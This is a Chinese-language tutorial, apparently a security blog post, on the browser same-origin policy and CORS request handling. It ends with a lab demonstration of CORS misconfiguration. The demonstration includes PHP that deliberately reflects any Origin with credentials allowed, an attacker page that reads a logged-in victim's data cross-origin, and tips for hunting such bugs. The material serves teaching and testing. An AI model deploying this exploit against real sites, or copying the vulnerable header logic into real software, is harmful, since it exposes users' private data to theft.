0x00 前言-浏览器同源策略

同源策略(Same origin policy)是一种约定,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。

可以说 Web 是构建在同源策略基础之上的,浏览器只是针对同源策略的一种实现。

它的核心就在于它认为自任何站点装载的信赖内容是不安全的。当被浏览器半信半疑的脚本运行在沙箱时,它们应该只被允许访问来自同一站点的资源,而不是那些来自其它站点可能怀有恶意的资源。

所谓同源是指:域名、协议、端口相同。

http://www.atest.cn/test/index.html 的同源检测结果

URL 结果 原因
http://www.atest.cn/aaaa/index.html 成功 域名、协议、端口相同
http://www.atest.cn/bbbb/index.html 成功 域名、协议、端口相同
http://www.atest.com/aaaa/index.html 失败 域名不同
https://www.atest.cn/bbbb/index.html 失败 协议不同
http://www.atest.cn:8080/bbbb/index.html 失败 端口不同

从上表格中可以看出来第一行与第二行都是成功的,这是因为这两个URL比对其他的URL来说只是不同的目录与不同的文件,而同源策略只关心他们是不是同一个域名,同样的协议,同样的端口

0x01 跨域限制的作用

跨域限制最主要的功能就是为了用户的上网安全。
如果没有浏览器同源策略,那么就很容易发生一些安全事件

例如:
在用户无感知的情况下,获取用户数据

0x02 CORS请求类别

  • 简单请求(simple request)
  • 非简单请求(not-so-simple request)

简单请求分辨方法

只要同时满足以下两大条件,就属于简单请求

一、 请求方法是以下三种方法之一:

  1. HEAD
  2. GET
  3. POST

二、HTTP的头信息不超出以下几种字段:

  1. Accept
  2. Accept-Language
  3. Content-Language
  4. Last-Event-ID
  5. Content-Type:只限于三个值 application/x-www-form-urlencoded、multipart/form-data、text/plain,这个简单的意思就是说,设置了一个白名单,符合这个条件的才是简单请求。其他不符合的都是非简单请求

非简单请求

只要不能同时满足上面的两个条件就通通属于非简单请求

0x03 简单请求与非简单请求浏览器处理结果

相同点

在请求中都需要附加一个额外的 Origin 头部,其中包含请求页面的源信息(协议、域名和端口),以便服务器根据这个头部信息来决定是否给予响应。

例如:Origin: http://www.atest.cn

简单请求

如果它符合上面所述的简单跨域请求,浏览器就会立刻发送这个请求

然后服务器如果认为这个请求可以接受,就会在 Access-Control-Allow-Origin 头部中回发相同的源信息(如果是公共资源,会回发 * )。

例如返回包中会带:Access-Control-Allow-Origin:http://www.atest.cn

那么这时就可以当成一个正常的http请求访问获取数据了

非简单请求

如果浏览器检查之后发现这是一个非简单请求,比如请求头含有X-Forwarded-For字段。

这时候浏览器不会马上发送这个请求,而是有一个preflight,跟服务器验证的过程。

浏览器先发送一个options方法的预检请求。

例如如下请求:

  • Origin:普通的HTTP请求也会带有,在CORS中专门作为Origin信息供后端比对,表明来源域。
  • Access-Control-Request-Method: 接下来请求的方法,例如GET,POST,PUT, DELETE等等
  • Access-Control-Request-Headers: (可选)自定义的头部信息,多个头部以逗号分隔所有用setRequestHeader方法设置的头部都将会以逗号隔开的形式包含在这个头中。

如果服务器配置了cors,会返回对应对的字段

  • Access-Control-Allow-Origin:
  • Access-Control-Allow-Methods:
  • Access-Control-Allow-Headers:

然后浏览器再根据服务器的返回值判断是否发送非简单请求。
简单请求前面讲过是直接发送,只是多加一个origin字段表明跨域请求的来源。
然后服务器处理完请求之后,会再返回结果中加上如下控制字段

  • Access-Control-Allow-Origin: 允许跨域访问的域,可以是一个域的列表,也可以是通配符”*”。这里要注意Origin规则只对域名有效,并不会对子目录有效。即http://a.test.cn/xxxx/ 是无效的。但是不同子域名需要分开设置,这里的规则可以参照同源策略
  • Access-Control-Allow-Credentials: 是否允许请求带有验证信息
  • Access-Control-Expose-Headers: 允许脚本访问的返回头,请求成功后,脚本可以在XMLHttpRequest中访问这些头的信息
  • Access-Control-Max-Age: 缓存此次请求的秒数。在这个时间范围内,所有同类型的请求都将不再发送预检请求而是直接使用此次返回的头作为判断依据,非常有用,大幅优化请求次数
  • Access-Control-Allow-Methods: 允许使用的请求方法,以逗号隔开
  • Access-Control-Allow-Headers: 允许自定义的头部,以逗号隔开,大小写不敏感

重要说明

默认情况不会包含cookie 信息的!!!!!

如果需要包含 cookie 信息
ajax 请求需要设置 xhr 的属性 withCredentials 为 true
服务器需要设置响应头部 Access-Control-Allow-Credentials: true

0x04 攻击例子

准备两个域名
站点域名:http://test.test
攻击者域名:http://atest.test

站点域名需要准备的文件

  1. 文件名称:login.php
  2. 目录:cors-test\login.php
  3. <?php
  4. session_start();
  5. $_SESSION['test_token'] = 'test';
  6. echo '登录成功';
  1. 文件名称:user_info.php
  2. 目录:cors-test\user_info.php
  3. <?php
  4. $origin = @$_SERVER['HTTP_ORIGIN'];
  5. if (!$origin) {
  6. exit('请携带origin');
  7. }
  8. header('Access-Control-Allow-Origin:'.$origin);
  9. header('Access-Control-Allow-Credentials:true');
  10. session_start();
  11. if (!@$_SESSION['test_token']) {
  12. exit('请登录');
  13. }
  14. $data = array('username'=>'P喵呜-phpoop','email' => '3303003493@qq.com');
  15. $json = json_encode($data);
  16. echo $json;

攻击者域名需要准备的文件

  1. 文件名称:cors.html
  2. 目录:cors-test\cors.html
  3. <!DOCTYPE html>
  4. <html>
  5. <head><title>CORS</title></head>
  6. <body>
  7. <center>
  8. <textarea rows="10" cols="60" id="pwnz">
  9. </textarea><br>
  10. <button type="button" onclick="cors()">Exploit</button>
  11. <script>
  12. function cors() {
  13. var xhttp = new XMLHttpRequest();
  14. xhttp.onreadystatechange = function() {
  15. if (this.readyState == 4 && this.status == 200) {
  16. document.getElementById("pwnz").innerHTML = this.responseText;
  17. alert(this.responseText)
  18. }
  19. };
  20. var data="";
  21. xhttp.open("GET", "http://test.test/cors-test/user_info.php");
  22. xhttp.withCredentials = true;
  23. xhttp.send();
  24. }
  25. </script>

测试的代码文件

cors-test.zip

攻击开始

首先受害者先进行登录

打开地址: http://test.test/cors-test/login.php
image.png

攻击者发送有害地址给受害者

受害者打开:http://atest.test/cors-test/cors.html
image.png

成功劫持到用户数据

0x05 总结

其实挖cors方法最简单的就是关注这几点

  1. 请求端存在Origin头
  2. 返回包里面的Access-Control-Allow-Origin字段返回值是否与请求端发送的Origin一致
  3. Access-Control-Allow-Credentials 为 true

Access-Control-Allow-Credentials 必须为true 因为不为true的也没什么好劫持的

如果上面列的都有了,那么大概率就是有cors了,至于有没有其他的过滤,那就看自己功底来绕过了